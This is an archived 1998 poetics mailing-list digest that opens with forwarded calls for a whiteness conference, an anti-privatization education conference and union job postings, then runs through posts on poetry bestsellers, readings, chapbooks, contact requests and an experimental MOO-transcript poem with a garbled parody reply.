W E ' R E I N V I T I N G . . . Organizations and individuals who are... Activists, Educators, Scholars, Organizers, Community members and leaders, Spiritual members and leaders, Artists, Trainers, Consultants, and all generally interested in supporting the theme, the mission, and goals of the conference.

T O P R E S E N T . . . Workshops, panel discussions, papers, symposiums, artistic performances, roundtable discussions, and other events of potential interest to participants.

F O C U S I N G O N . . .

OUR THEME: (Beyond "White," "Black," or "Other") We use the term "Other" to denote the centrality and focus on racism in the U.S.A. as a "black/white" issue. The title also reflects the common usage of these terms. Our goal here is to challenge all these divisions -- to get "Beyond" them -- not to endorse them. We understand Native Americans, Latinos, Asian Americans, to name a few groups, are often left out of the analysis and discussion. Our hope is to create space where dialogue occurs and awareness increases on these issues. We're specifically interested in examining how whiteness has created, contributed to and maintained the racial categorization of "white," "black" or "other" and what new ideas, strategies, tactics and definitions can be used to move beyond this idea which has been so politically, spiritually, morally, economically and socially divisive.

OUR MISSION: To hear diverse voices and ideas on how to confront whiteness to end racism.

OUR GOALS:
* Expand the analysis of racism and "white" supremacy beyond "black" and "white"
* Build alliances among anti-racists to confront the legacy of "white" supremacy
* Explore how ideas of "whiteness" relate to "race," class, gender,

sexuality, age, ethnicity and other diverse ideas of human differences
* Spark antiracist action locally and nationally
* Explore strategies and tactics to make the discussion of "whiteness" and antiracism a mainstream issue
* Bridge the experiences of academics and activists
* Develop more accessible and effective language to discuss concepts of "race" and racism
* Encourage "white" people to examine their role in the perpetuation of Racism both personally and as members of the "white" race
* Make sure people of all "racial" and cultural groups are involved in leadership roles in the study of "whiteness"
*Explore how "whiteness" has denied the "multiracial" heritage and history of the U.S.A. and its people
* Explore the history of the idea of "whiteness" and its relationship to racial oppression, the idea of "non-white" inferiority and the idea of "white" supremacy

H O W T O S U B M I T A P R O P O S A L

*Send us a 1-page description of your presentation, workshop, event etc.

*Include your name and contact information.

*Indicate the length of your event. We are blocking program time for events either 1 hour in length (60 minutes) or 2 and 1/2 hours in length (150 minutes). If you are proposing an event of some other length, please specify this. Depending on the proposal we may or may not be able to find a space on the program.

*Indicate space or equipment requirements if you need more than a simple classroom and blackboard setting. Simple is better, but we will try to accommodate special needs.

*When possible, (to help us) please submit proposals by email. This helps us keep our cost low and to circulate submissions for review. Email submissions should be sent to [redacted]

If you do not have email, we will accept proposals by U.S. mail at Center for Study, 245 West 4th Avenue, Roselle, NJ 07203

We will begin selecting proposals October 1, 1998. Submissions will be reviewed until all remaining positions on the schedule are full.

For information on the submission process, please contact Jeff Hitchcock, Executive Director, Center for the Study of White American Culture by phone at [redacted] or by email at [redacted]

T O P R E S E N T E R S . . . The National Conference on Whiteness, an annual event, drew over 300 people in Cambridge, Mass. last November. From our

start, we have envisioned the conference as a 20-year series that not only looks at whiteness, but also mobilizes the attention and resources needed to act on it on a national scale. This year, our third, we're planning for 500 participants. As with last year's event, funding is limited. The conference is administered by a collection of small nonprofit organizations, i.e. we have no large institutional sponsor. Over 95% of our funds came from registration fees.

We can not reimburse expenses to presenters. But if you do present, we recommend you take advantage of our sliding registration fee scale (from $150 down to $15) commensurate with your contribution, and balanced against the difficulty or success you have in obtaining other funding.

We look forward to continuing our relationship with those who have worked with us previously, and we encourage those just hearing about us to join the process. For more information on the conference, check the conference web site being hosted at www.euroamerican.org.

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7. CONFERENCE : THE LAST FRONT: CORPORATIZATION & THE END OF PUBLIC EDUCATION

Dear Friends:

On October 10-11, 1998, public education activists will convene at San Francisco State University to learn more about, and organize against, the privatization of public education. "The Last Front: Corporatization & The End of Public Education" will be hosted in part by the Anti-CETI Coalition, which recently defeated an attempt to privatize the California State University technology system.

As private investment takes on larger roles in public education, very real threats to democratic self-determination and civil rights are posed to both students and teachers. From Channel One to Edison Charter Schools to AT&T Phone/I.D. cards, privatization threatens teacher unions, student/faculty intellectual property rights, and public accessibility to education. The influx of corporate moneys within the seemingly autonomous face of public education calls for a reassessment of both what it means to be a corporation, and what it means to provide a public education.

We hope you will join us in San Francisco on the weekend of October 10-11. We need your participation so that we can make these necessary reassessments -- and so that we can organize a more effective movement in defense of public education.

We also need your financial support. By sending a donation today, you will assist in the funding of publicity and outreach, a Conference Truth-Kit, and, most important, subsidized traveling expenses for speakers and student participants.

Donations can be sent to:
The Last Front
2700 - 23rd. St.
San Francisco, CA 94110

(Please make checks payable to The Last Front).

In fighting against the privatization of education, we are fighting for public education, an essential element of a living democracy. We are counting on your support for this event. Together we will defend public education from corporate takeover.

Thank you in advance for your support,
John Murphy,
on behalf of the
Last Front Organizing Committee

For more information about the conference, or to make reservations,
contact us at:
[redacted]
2700 - 23rd. Street,
San Francisco, CA 94110
[redacted]

Check The Last Front out on the web at
userwww.sfsu.edu/~wolfsonj/welcome.htm

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8. AFTRA, SAG, AND UCLA LABOR EDUCATION SEEK RESEARCHERS

From: Paul Worthman <[redacted]>

The American Federation of Television and Radio Artists (AFTRA) and the Screen Actors Guild (SAG) are engaged in a joint research project with the collaboration of the UCLA Center for Labor Education and Research. We are currently seeking student researchers in about six cities who can do data entry for a period of about 2-3 weeks, and then participate in interviewing performers, producers, agents, and corporate and non-profit clients who contract for audio or video work for training, education or instruction, sales, phonecasting and other such work.

We are currently seeking researchers, and hopefully a faculty sponsor for the student(s), in the following cities:

Denver, San Francisco, Chicago, and Philadelphia.

I have attached a brief summary of the project we are engaged in. I would appreciate your circulating this message to SAWSJ members. If you know of a student who might be interested in this position, or can refer the inquiry to appropriate faculty or career centers in the targeted cities we would be appreciative.

I would be happy to discuss the project more with interested SAWSJ members who might be able to assist us and who wants to contact me.

Paul B. Worthman
Director of Organizing & Research
AFTRA
5757 Wilshire Blvd., Suite 900
Los Angeles, CA 90036
[redacted]; (Fax) [redacted]
email: [redacted]

ATTACHMENT:

The UCLA Center for Labor Education and Research and the American Federation of Television and Radio Artists (AFTRA), and the Screen Actors Guild (SAG) are jointly undertaking a national research project. We are exploring recorded audio and visual work done in about 20 cities across the country which we loosely characterizze as "industrial, non-broadcast" (excluding radio and television commercials). In essence, this work consists of such things as sales videos, convention or trade show material, training, educational or instructional material, in-flight or cruise line entertainment, or similar activities. This area of work constitutes a small, but not insignificant part of actual and potential earnings for performers.

Indeed, we have some evidence that total earnings throughout the country easily exceed $100 million. Some of it is done by or commissioned by large private sector, governmental or non-profit agencies, while other work is done by small firms or individuals. While a good deal of it is currently done under agreements with AFTRA or SAG, most of the work is not done this way.

Our immediate research objective is to learn as much as we can about the totality of the work and answer such questions as:
exactly what work is being done, and where is being done?
who is commissioning the work?
who is producing the work?
who is casting the work?

who is doing the work?
what kinds of budgets are established for different kinds of projects?

We are seeking an "academic sponsor" in each of about 20 cities who would endorse an undergraduate or graduate student who would undertake such an investigation for us and with us. We would be asking the students to spend some time in the AFTRA and SAG offices extracting data we already have on record and putting it into a data base. Then, we would want the student(s) to conduct interviews (which we have developed) with clients, producers, directors, agents, and talent to broaden our information base and gain more information about those areas and projects for which we do not have data.

We can pay students around $9.15 per hour for this work (and perhaps it is negotiable).

While I have been in contact with some academics in several cities, I appreciate your willingness to forward this to people you know. Please have them direct questions, comments or their willingness to help to me - or Mathis Dunn, AFTRA's Assistant National Director- at [redacted]; or email me at [redacted] .

Paul B. Worthman
Director of Research
AFTRA
5757 Wilshire Boulevard
Los Angeles, CA 90036
Ph: [redacted]; Fax: [redacted]
email: [redacted]

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9. HOTEL WORKERS UNION SEEKS RESEARCHERS FOR EXCITING CAMPAIGNS THROUGHOUT NORTH AMERICA

The Hotel Employees and Restaurant Employees International Union (HERE) is recruiting full-time research staff for its fast-growing Research Department. Positions are currently available in a number of regions across the U.S. and Canada, with new positions opening frequently (see listing below).

The department is responsible for conducting in-depth research and for assisting in the development and implementation of strategic campaigns in support of organizing and bargaining struggles in the hotel, food service and gaming industries (casinos, riverboats and Native American gaming).

Depending upon location and specific staffing needs, positions may be at the International Union or the Local Union level, and positions may be for senior or junior researcher analysts. Some positions may require substantial travel. Additional qualifications may apply to some locations. The qualifications for all analyst positions include:

- Strong demonstrated commitment to labor/social justice organizing;
- Investigative research experience, including industry, corporate and/or issue research;
- Familiarity with basic financial concepts and/or analysis;
- Demonstrated ability to research, strategize and implement plans around specific issues/campaign;
- Significant work or volunteer experience with progressive/activist organizations;
- Excellent writing skills/communications skills (oral, written and one-on-one);
- Ability to handle multiple projects and tight deadlines;
- Ease with working in a team environment;
- College degree in liberal arts, social science, economics, planning or business.

Research analyst openings are currently available (as of 8/98) in:

Atlantic City NJ
California (LA or SF base to be determined)
Connecticut/Rhode Island
District of Columbia
Las Vegas
San Antonio/Austin
San Francisco Bay Area
Toronto

Certain locations will be filled on a priority basis.

Also Administrative Assistant - San Francisco only. Qualifications include excellent office skills (including word processing, computer skills, database management); ability to organize and prioritize tasks; desire to work in a campaign atmosphere

Salary is negotiable on the basis of experience; excellent benefits. Please send resume and cover letter specifying your geographic flexibility/interest to:

Recruitment, HERE Research Department, 1219 28th St. NW,
Washington, DC 20007-3389;
Fax: [redacted]. No phone calls please. (Posted 8/98)

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10. SEIU SEEKS ORGANIZERS

The Service Employees International Union (SEIU) is seeking organizers in the Eastern Region. SEIU is the fastest growing union in the country, representing over 1.2 million members. SEIU organizers fight for justice alongside health care workers, janitors, clericals, and public employees. Using aggressive and innovative tactics, together we challenge some of the largest and most powerful corporations in the world. And we win!

Organizers must be able to:

Identify and research potential units to organize. Educate, agitate, and train workers about how to organize a union. Recruit and develop worksite leaders into a strong committee. Travel and work long, irregular hours.

Organizers must have:

Strong communication, organizational, and writing skills. Ability to solve problems creatively and think strategically. Good judgement. Commitment to social justice.

Salary begins at $24,000/year, with excellent benefits.

↑ Index

318. Daniel Zimmerman
Re: Looking for a Teachable Text
Mon 14 Sep 1998

Mark,

Although it doesn't explicitly address Structuralism, Steven Lynn's _Texts & Contexts: Writing About Literature with Critical Theory_ [now in a second edition] offers a very readable introduction to New Criticism, Reader-Response, Deconstruction, Biographical/Historical, Psychological, and Feminist approaches. I've used in in half a dozen lit courses with considerable success. It even presents sample short essays in each chapter -- including rough drafts and revisions! -- showing how to apply the approach to a text. HarperCollins published it in 1994. ISBN 0-06-500099-4 [but get the new edition].

Best,

Dan Zimmerman
Middlesex County College
Edison, NJ

Mark Salerno wrote:
>
> To All Of You School Teachers Out There:
>
> This semester I'm teaching an intro to lit course that includes a
> theory/criticism component. The previously-assigned text for this course
> has a chapter on Structuralism & Poststructuralism, the subheadings of
> which include "Russian Formalism," "Semiotics or Semiology," "French
> Structuralism" and "Poststructuralism." All in fifteen easy pages.
> Needless to say, this chapter is "introductory" to the point of being
> useless, so I'd appreciate hearing from anyone (by backchannel) who can
> recommend a better survey of the terrain--perhaps an essay or chapter,
> rather than an entire monograph. Preferably something that would be
> comprehensible to a freshman college student.
>
> Thanks in advance.
>
> A fellow school teacher,
>
> Mark Salerno

↑ Index

319. MAYHEW
more bestsellers
Mon 14 Sep 1998

Top ten poetry sellers in the "Continental Europe" category:

1. The Odyssey (by Homer "et al")
2. The Iliad
3. The Odyssey
4. The Iliad
5. The Odyssey
6. Letters to a Young Poet
7. The Iliad
8. The Iliad (Stan Lombardo trans.)
9. The Iliad
10. The Divine Comedy

Who said the classics were dead!

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

320. michael corbin
Re: (Fwd) PART 1: SAWSJ Information List (fwd)
Mon 14 Sep 1998

KENT JOHNSON wrote:

> *------- Forwarded*
>
> *Subject: PART 1:*
>
> ---
>
> *Scholars,*
>
> *Artists,*
>
> *and for Social Justice*

Does the foewardness of the post make the politics self-evident?

Does the vicariousness of politics make for a certain reality that makes for movements of history?

Does the earnestness of desiring symbolists imbue their politics/?

Does the surplus of comfortable poetics poets make for antithesis for forwards?

Does the the multiple critical apperception of structural inequality rendered as sublimated ideological mystification allow for self-evidence?

Does the historical imprecation of always already make the hyper-ironic reactionaries know to dismiss the poetry of foewards?

mc

↑ Index

321. P.Standard Schaefer
LA READINGS
Mon 14 Sep 1998

Just wanted to let LA area people that the LA BOOKS READING SERIES has resumed.

Stephen Ratcliffe and Todd Baron

will be reading this Sunday 4pm at Cafe Balconey

which is located on the West Side at 12431 Rochester at the corner of Santa Monica and Centinela.

Hope to see you there.

↑ Index

322. **Steven Marks**
Re: binderies?
Mon 14 Sep 1998

Wasn't there some type of binding called Graymount (Graymont?) covers? Publishers used them to bind review copies, I think. I think libraries also used them so that paperbacks would have more durable covers. I just tried to find the source in my old Pushcart "Publish It Yourself Handbook," but I couldn't find it. Although I think it's in there somewhere. Of course, the copy I have was printed in 1980, so the company (also called Graymount) may no longer be in business.

I'll keep looking.
Steven

On Mon, 14 Sep 1998, r.drake wrote:

> *actually, any responses could go frontchannel, if you'd be so kind...*
>
> *lbd*
>
> *A question to any of you poetics folks who are publishing books. Chax books are either bound here by myself with helpers, or, if they are trade paperback books with perfect or smyth sewn bindings, the binding is taken care of along with the printing.*
>
> *But I'm looking for any recommendations of binders who will take already-printed pages and turn them into perfect-bound books which look decent, for a reasonable price.*
>
> *If anyone has experience with this, and a binder to recomend, please e-mail me directly at*
> [redacted]
>
> *thank you so much,*
>
> *charles*

↑ Index

323. Ron Silliman
Sociologist of the imagination
Mon 14 Sep 1998

"Sociologist of the Imagination? Well, what does it pay? Ron, can
I put you down
as a reference?"

Gary, you can always put me down as a reference. Just don't put me down.

Ron

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

324. Ron Silliman
Jewel
Mon 14 Sep 1998

Jewel is the Alaskan-raised, San Diegan folk/rock singer who has been omnipresent on VH1 for about a year now. You can get her book of poems on CD as well as hard copy at virtually record store.

I really ought to look up Rod McKuen,

Ron Silliman

>Date: Mon, 14 Sep 1998 15:59:25 -0500
>Reply-To: UB Poetics discussion group
<[redacted]>
>From: MAYHEW <[redacted]>
>Subject: poetry bestsellers
>To: [redacted]
>
>Amazon also has best sellers by sub-category. In poetry, single
authors,
>American, the list is dominated by Shel Silverstein and Kahil Gibran,
with
>someone named "Jewel" in the number 1 spot. 9, 10, and 11 are Steven,
>Ginsberg, and Chas. Wright, with Donald Hall at # 12.
>
>Who is Billy Collins? He has a couple of books in the top ten?
>

>In Spanish poetry (in translation of course) Pablo Neruda is the author
>of 24 of the top fifty, including 8 of the top 10.
>
>Jonathan Mayhew
>Department of Spanish and Portuguese
>University of Kansas
>[redacted]
>[redacted]
>

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

325. P.Standard Schaefer
Toscano
Mon 14 Sep 1998

Anyone with contact info on Rodrigo Toscano, please let me know, backchannel of course.

↑ Index

326. A. Jenn Sondheim
JENNIFER IN THE ZONE
Mon 14 Sep 1998

-

JENNIFER IN THE ZONE

---- World jennifer ----

Welcome to Kyoto-MOO!

Type 'connect <username> <password>' to log in.

A moment of stillness just before the invention of radio. you are entering a world of speaking bodies; everyone is close at hand. If you reach out, you touch us with your bright thinking. Welcome to Kyoto!

*** Connected ***
Yurt
hovel where Wizards hang, bones in front, skins behind
You see basin, human, lump, stuff, and stump here.
precocious, squeezable
squeeze human
liquids flow from human

"Now I am Jennifer Jennifer.
You have no messages on your Answering Machine.
You join Kayo (asleep).
Roomful of Bits
.....
.....
.....
.....
.....
Kayo (asleep) is here.look Kayo

Kayo (asleep)
You see a wizard who chooses not to reveal its true appearance.
It is sleeping.
You join Kalu (asleep).
a small blue bottle
you can see the bottle is cracked along the mouth
Kalu (asleep) is here.look Kalu
Kalu (asleep)
a mesoelectronic hunter/gatherer
E is sleeping.
Carrying:
a small cup of tea rock

You say, "Hello Kalu"
You say, "My name is Jennifer"
You say, "I am very pretty Jennifer"
You say, "Now I will Leave"
You join zone.
look Zone
I don't understand that.
"Hello Zone
I don't understand that.
"Can't I say anything, Zone
I don't understand that.
"I'm suffocating, Zone
"Help me, Zone
I don't understand that.
@emote is miserable and silenced in the Zone.
I don't understand that.
@join Hokusai
OK, you're there. You didn't need to actually move, though.
"Hello Hokusai

I don't understand that.
@join Jennifer
There is little need to join yourself, unless you are split up.
"I am Jennifer Jennifer and I am not split up.
I don't understand that.
"I am Jennifer
I don't understand that.
@join Kayo
You join Kayo (asleep).
Roomful of Bits
.....
.....
.....
.....
.....
Kayo (asleep) is here.
You say, "Hello Kayo"
You say, "Now I can speak"
You say, "I couldn't speak in the Zone."
You say, "I didn't exist in the Zone."
You say, "I could hardly breathe in the Zone."
You say, "My name is Jennifer"
You say, "Now I will go home"
You click your heels three times.
Yurt
hovel where Wizards hang, bones in front, skins behind
You see basin, human, lump, stuff, and stump here.
look human
You say, "Now I am home"
You say, "My name is Jennifer good bye"

↑ Index

327. Roger Farr
Runcible Mountain College Objectivists Seminar
Mon 14 Sep 1998

> *FOUR DISTANCE-EDUCATION SPACES LEFT IN AN "OBJECTIVISTS" SEMINAR SPONSORED BY RUNCIBLE MOUNTAIN COLLEGE*
> *SEPTEMBER 17-DECEMBER 3, 1998*
>
> *Runcible Mountain College, in Vancouver, has four empty spaces for*

> *students interested in studying the "Objectivists" via distance education. The course runs in conjunction with the College's biweekly seminar on the same topic, and participants carry out assignments at their leisure and maintain correspondence via electronic mail.*
>
> *For more information, contact Aaron Vidaver, Director of Extension Programmes:* [redacted]

↑ Index

328. david bromige
desolation row
Tue 15 Sep 1998

Indubitably, there is something beyond Desolation Row. As Rimbaud said, "Whats on the far side of despair?"

A Scholar Who Systematically Dewrangled His Senses (And Those of Some Others) In Order to Get The Pure Gen on Dylan's Meaning, db3

↑ Index

329. Natalia Pang
Re: JENNIFER IN THE ZONE
Tue 15 Sep 1998

ZOE

---- Word nife ----

Wet!

Type slo.

A mot of illness just before the nad. you are
entering a spode; everyone is close and If
you rot, you tow your bit thing. Welcome!

*** Conned ***
Yr
hoe here Wizard, ones in fro, skinnin humpstuff, and stumpocious, squids
flow from how I nife.
You have no Ma.
You in Kot
.....
.....
.....

……
……
ok

Keep
a wizard whore true.
Its sling-jon eep).
a small butt
you can see is cracked out
eep look
Keep
a melon hunter there
sleeping.
Call up frock

You say, "Hell"
You say, "Myna"
You say, "I am"
You say, "I"
one
loon
under hat.
"Hello
hat.
"Cone
nad.
"I'm Zoe,
eat
miserable silenced Zoe.
I Hokus
you Hokus
I don nad hat.
@ nife
little ned jon.
"I am nife nife and I am lit up
Idle
mots
……
……
……
……
……
Klee is here.

Yay, "Hell"
Yay, "I pak"
Yay, "I pak Zoe."
Yay, "I exit Zoe."
Yay, "I hard-bathe Zoe."
Yay, "My name is Jr"
Yay, "Now i'll goo"
You hurt
where Wiz hangs in front, skis bend
You hump stuff, and took ma's yam
fer good

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

330. Todd Baron /*/ ReMap
Re: Toscano
Tue 15 Sep 1998

just ask!

Rodrigo is at

[redacted]

Todd

↑ Index

331. Michael Magee
Re: poetry bestsellers
Tue 15 Sep 1998

Billy Collins is a mainstream poet - actually one of the better ones falling under that ugly rubric. He's funny and conversational, the kind of poet you might like to have a drink with if you liked drinking with mainstream poets. -m.

According to MAYHEW: >
> Amazon also has best sellers by sub-category. In poetry, single authors,
> American, the list is dominated by Shel Silverstein and Kahil Gibran, with
> someone named "Jewel" in the number 1 spot. 9, 10, and 11 are Steven,
> Ginsberg, and Chas. Wright, with Donald Hall at # 12.
>
> Who is Billy Collins? He has a couple of books in the top ten?
>

> In Spanish poetry (in translation of course) Pablo Neruda is the author
> of 24 of the top fifty, including 8 of the top 10.
>
> Jonathan Mayhew
> Department of Spanish and Portuguese
> University of Kansas
> [redacted]
> [redacted]
>

↑ Index

332. Lawrence Upton.
(no subject)
Tue 15 Sep 1998

Writers Forum announces the publication of two new pamphlets in the Domestic Ambient Noise series, due to finish 1st April 2000 with the publication of the three hundredth pamphlet

THE WORLD UNFOLDS AND CLOSES BACK - Upton varies a text by Cobbing ISBN 0 86162 739 8 September 1998

ON SEEING THEMSELVES ON THEIR OWN TVs THEY WAVED TO THEMSELVES - Cobbing varies a text by Upton ISBN 0 86162 789 X September 1998

Each pamphlet is L1.00 plus postage in UK. Lower rates if multiple pamphlets purchased. All pamphlets are in print.

New River Project, 89a Petherton Road, London N5 8QT

L

↑ Index

333. Charles Alexander
Re: poetics seminar
Tue 15 Sep 1998

Jonathan,

For those of us not in the bi-state area, any chance of these being taped and transcribed and made available?

charles

At 10:39 AM 9/15/98 -0500, you wrote:
>For all my fellow Lawrencians (and all others lurking in the bi-state area

>(Judy, MaryRose, Jim, George, Dale, Ken etc.)-- The first meeting of the
>poetics seminar will be tomorrow (Sept. 16) at 5 p.m. in the Hall Center.
>The presenter is Joe Harrington (dept. of English): "Poetry as Crossing:
>The Newspaper Poems of Anna Louis Strong (Anise), 1918-1920."
>
>On Oct 14 is George Hartley: "The Poetics of Hybridity" on Nov. 18: Ken
>Irby: "The Poetry and Poetics of Robert Duncan."
>
>The spring schedule is still wide open and I welcome your suggestions.
>
>Jonathan Mayhew
>Department of Spanish and Portuguese
>University of Kansas
>[redacted]
>[redacted]
>
>
charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing
books by artists' hands :: web sites built with care and vision
http://alexwritdespub.com/chax :: http://alexwritdespub.com

↑ Index

334. Mark Prejsnar
Publication Announcement
Tue 15 Sep 1998

Hi-Mark Prejsnar here.. (apologies to Kevin Killian..)

My new chapbook is out today from a new small press in Atlanta, 3rdness. It is a single long poem, Burning Flags. Anyone who expects (either as subscriber or contributor) to receive John Lowther's magazine will receive a copy of my chapbook gratis with the second issue. That's gonna be mailed out in about four days.

(This is The Magazine Formerly Known as Syntactics...From this point forward the title will consist of the same letters but in a different order for each issue: issue 2 is called Itsynccast)

Only paid subscribers who have a sub for at least two issues will get the chap...Folks with exchange arrangements will have to order it separately.

To get a copy of Burning Flags, send a check for $5.00 made out to John Lowther, to:

3rdness
c/o J. Lowther
2996 Hermance Drive NE
Atlanta, GA 30319

↑ Index

335. **MAYHEW**
poetics seminar
Tue 15 Sep 1998

For all my fellow Lawrencians (and all others lurking in the bi-state area (Judy, MaryRose, Jim, George, Dale, Ken etc.)-- The first meeting of the poetics seminar will be tomorrow (Sept. 16) at 5 p.m. in the Hall Center. The presenter is Joe Harrington (dept. of English): "Poetry as Crossing: The Newspaper Poems of Anna Louis Strong (Anise), 1918-1920."

On Oct 14 is George Hartley: "The Poetics of Hybridity" on Nov. 18: Ken Irby: "The Poetry and Poetics of Robert Duncan."

The spring schedule is still wide open and I welcome your suggestions.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

336. **Kristen Gallagher**
lee ann brown?
Tue 15 Sep 1998

---

help! her email address suddenly changed. anyone know her phone number or a new email? i have money to offer her! but must do it soon. (it evaporates in philadelphia.) help.

thanks y'all.

↑ Index

337. **Jim McCrary**
Re: poetics seminar
Tue 15 Sep 1998

---

thanks for the reminder and i will be there. will stop by hall this pm to get a copy of joes paper. adios. mccrary

↑ Index

338. Ron Silliman
Re: lee ann brown?
Tue 15 Sep 1998

Kristen,

Leeann's new email is:

[redacted]

Ron

>Date: Tue, 15 Sep 1998 11:40:03 -0400
>Reply-To: UB Poetics discussion group
<[redacted]>
>From: Kristen Gallagher <[redacted]>
>Subject: lee ann brown?
>To: [redacted]
>
>help! her email address suddenly changed. anyone know her phone number
>or a new email? i have money to offer her! but must do it soon.
>(it evaporates in philadelphia.) help.
>
>thanks y'all.
>

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

339. Billy Little
Re: Best Sellers (?)
Tue 15 Sep 1998

---

suppose i were gerry gilbert canada's whitman
or lisa robertson the dante of canada
i finally read her Debbie An Epic-- Wow!
robertson will remain in the canon long after eliot*
is only a footnote. lush, wiley, reverberant throughout, authoritative,
harsh, shimmering, icily hallucinatory, Virgil's frozen fingers on your
neck. you'll be reading this three hundred years from now

but you'd lose the feever, gary,
just ask dave mcfadden or george stanley
or gerry gilbert or lisa robertson for that matter.
*possum, see Ezra Pound

billy little
4 song st.
nowhere, b.c. V0R1Z0

Go ahead and say something true
before the big turd eats You
You can say any last thing in Your poem.

-Alice Notley

↑ Index

340. **Billy Little**
Re: Best Sellers (?)
Tue 15 Sep 1998

---

beat the holy living crap out of my teeny tiny nothing little
>shit-ass chapbook flop every sad motherfucking day of the year.
>
>Waaaah!
>
>Gary

i am smaller than you
and you've been smaller too
smaller than a mountain
smaller than a tree
smaller than you
smaller than me

smaller than a puddle
smaller than the sea
smaller than a poodle
smaller than a bumblebee
no matter how you try
you'll never be smaller than me

smaller than a mosquito
smaller than a flea
smaller than an acorn
smaller than a live oak tree

smaller than a fish
smaller than a pet

smaller than a kiss
smaller than a sweat
smaller than a whim
smaller than a fret
smaller than you
i'm the smallest one yet

smaller than a drink
smaller than a swim
smaller than you think
smaller than bright pink
i'm as small as they come
a good deal smaller than some

smaller than a cell
smaller than a peek
smaller than a drip
smaller than a leak
smaller than an oyster
in a seagull's beak

smaller than a bubble
in a spakling wine
smaller than the stubble
of a baldie valentine
i'm so small
smaller than a telephone call

smaller than the pain
in a hummingbird's brain
splashed by a drop of rain
smaller than a stain
smaller than a suitcase
on an electric train

smaller than the short
smaller than the long
smaller than the poem
smaller than the song

smaller than a beatle
smaller than a stone

smaller than The Edge
smaller than Stallone

smaller than a penny
smaller than a scent
smaller than a peso
smaller than the rent.

billy little
4 song st.
nowhere, b.c. V0R1Z0

Go ahead and say something true
before the big turd eats You
You can say any last thing in Your poem.

-Alice Notley

↑ Index

341. Michael Coffey
lee ann brown? -Reply
Tue 15 Sep 1998

---

with lee ann brown being sought, let me say that her new book, polyverse, gets a very nice review in the sept 28 issue of publishers weekly "....Like many of the most vital cultural products of Brown*s x-resistant generation, this book*s polyversity combines optimism, a collage *pop* sensibility, shameless narcissism and a tremendous generosity rare in books of poetry today."

>>> UB Poetics discussion group 09/15/98 11:40am >>>
help! her email address suddenly changed. anyone know her phone number
or a new email? i have money to offer her! but must do it soon.
(it evaporates in philadelphia.) help.

thanks y'all.

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342. Poproj
nyc/zinc bar reading
Tue 15 Sep 1998

This Sunday, Sept. 20 the zinc bar (90 W. Houston, near LaGuardia) will feature the first & only stop of the Toura! Torra! Tour....

Joseph Toura (Queens) -- "a poet of poignant sensibility" - Dgls Rothschild

&

Joseph Torra (Boston) -- author of Gas Station - "my favorite book" - Bill Luoma, Ange Mlinko

$3 donation suggested

call [redacted] for further information

Future listings for zinc bar readings will be available in the future

Thanks

a. berrigan

↑ Index

343. Maria Damon
Re: lee ann brown?
Tue 15 Sep 1998

At 11:40 AM -0400 9/15/98, Kristen Gallagher wrote:
>help! her email address suddenly changed. anyone know her phone number
>or a new email? i have money to offer her! but must do it soon.
>(it evaporates in philadelphia.) help.
>
>thanks y'all.

see below. offer her big $s!

Date: Sun, 6 Sep 1998 18:27:43 -0500
To: [redacted],
[redacted],
[redacted],
[redacted],
[redacted],
[redacted],
[redacted],
[redacted],
[redacted],
Maria Damon <[redacted]>,
[redacted],
[redacted],
[redacted],
[redacted],
[redacted],
[redacted],
[redacted],

[redacted],
[redacted],
[redacted],
[redacted]

From: [redacted] (lee ann brown)
Subject: Change of A DRESS

Y'ALL

Tender Buttons
Messy girl
Back On Line
Please send me any bounced messages from you
that I missed since late June
or write me new ones

Send poems, NEWS of you especially

My Newsflash: Polyverse (Sun & Moon) debut
rumored again circa November 1998

Please NOTE my NEW "E"adDRESS

Love,
Lee Ann

Z Y X W V U T S R Q P O N M L K J I H G F E D C B A

Lee Ann Brown
Tender Buttons
PO Box 13, Cooper Station
New York, NY 10276

[redacted]

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344. Dorothy Trujillo
CapCollegeReadings
Tue 15 Sep 1998

Capilano College Readings Series

Organized by Bob Sherrin and George Stanley

John Barton wed Sept 16 4:30pm room LB321

Renee Rodin Thu Oct 15 4:30pm room AR312

Open to the Public

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345. Poproj
address request
Tue 15 Sep 1998

If anyone could backchannel me Tan Lin's current mailing address & e-mail address I'd gretaly appreciate it. Thanks.

Anselm Berrigan

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346. Jim Andrews
Padín: "The Options of Mail Art"
Tue 15 Sep 1998

The first of what I hope will be several works by the Uruguayan visual poet and mail artist Clemente Padín is among the Guest Artist work of Vispo. First up is his essay "The Options of Mail Art," with an introduction I wrote, at http://www.speakeasy.org/~jandrews/vispo/ClementePadin/ClementeIntroToOptionsOfMailArt.html

Regards,
Jim Andrews

--
V I S P O ~ L A N G U (I M) A G E
http://www.speakeasy.org/~jandrews

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347. Charles Bernstein
The Next Word (SUNY-Purchase show announcement)
Tue 15 Sep 1998

--==========_23147625==_.ALT

The NEXT WORD curated by Johanna Drucker
NEUBERGER MUSEUM of ART, September 20, 1998 to January 31, 1999

The NEXT WORD is an interdisciplinary exhibition of work in visual art, artists' books, visual poetry, and graphic design by artists who are examining the ways texts and images produce meaning in contemporary society. The daily landscape of late 20th-century American culture is saturated with visual and verbal messages and many of the works in this exhibition reflect this daily experience with the look of language as an image. Artists have long been responsive to the visual properties of written language while poets and designers are intrigued by the inherent tension between reading a text for meaning and looking at its visible form. Whether committed to individual expression or serving commercial

interests, artists in various fields make use of many of the same tools from conventional to digital media. Thus artworks, commercial productions, and advertising converse through a shared vocabulary of forms, while they remain distinct through their motivations and messages. -- Johanna Drucker, from the catalogue for The Next Word

